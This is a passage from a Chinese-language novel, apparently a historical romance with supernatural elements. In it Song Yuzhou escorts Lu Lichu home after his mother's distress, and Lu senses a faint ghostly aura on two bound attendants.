那厢哭哭啼啼地走了,宋渝舟还想说些什么,却被宋夫人摆手拦住了,“你自忙去吧,叫我好好歇歇,今儿撞见这事的夫人不少,我还得想个由头圆过去。” “那儿子先走了,母亲你好生休息。”宋渝舟站起身来,转身时望向那跪在地上不敢抬头的两个长随,冷声道,“你们同我走吧。” 屋外,陆梨初仍在等着,见宋渝舟出来了,忙坐起身来,投去了探寻的目光。 “陆姑娘,母亲歇下了,我先送你回去吧。” 不知怎的,见到宋渝舟,陆梨初那颗惴惴不安的心便安定了下来,先前她见宋夫人气得面色苍白,连唇上都没有一丝血色时,着实是怕极了,她还记得当年她母亲快离世前便是这般苍白的脸。 “知鹤。”宋渝舟见知鹤喘着气跑了过来,抬起下巴点了点那垂着头的两个人,“先看着他们俩,我送完陆姑娘便回来领着他们去军营。” “小少爷,我知道了。”知鹤点了点头,抱臂守在两个被捆了手的人前。 宋渝舟没再去看那两个长随,反倒是陆梨初探着头,仔细打量着那两个人,便是跟着宋渝舟走出去些距离,依旧回头打量着那两个人。 “陆姑娘?”宋渝舟轻声唤了唤陆梨初,陆梨初这才收回视线。 见宋渝舟略带探寻地望向自己,陆梨初笑了笑,“我只是担忧宋伯母。” “母亲她气过了就好了,等明儿你过来同她说说话,母亲便高兴起来了。”宋渝舟顿了顿,微微偏头看着走在身旁的女子,声音愈发温和,“母亲最是喜欢你,有你陪着,烦心事也过得快些。” 陆梨初并未搭话,她垂着眼眸,心中仍有些犹疑,不知她是看错了还是怎的,总觉得方才那两个被捆了手的长随身上,有淡淡的鬼气萦绕——那鬼气淡得似是从旁人身上沾染的。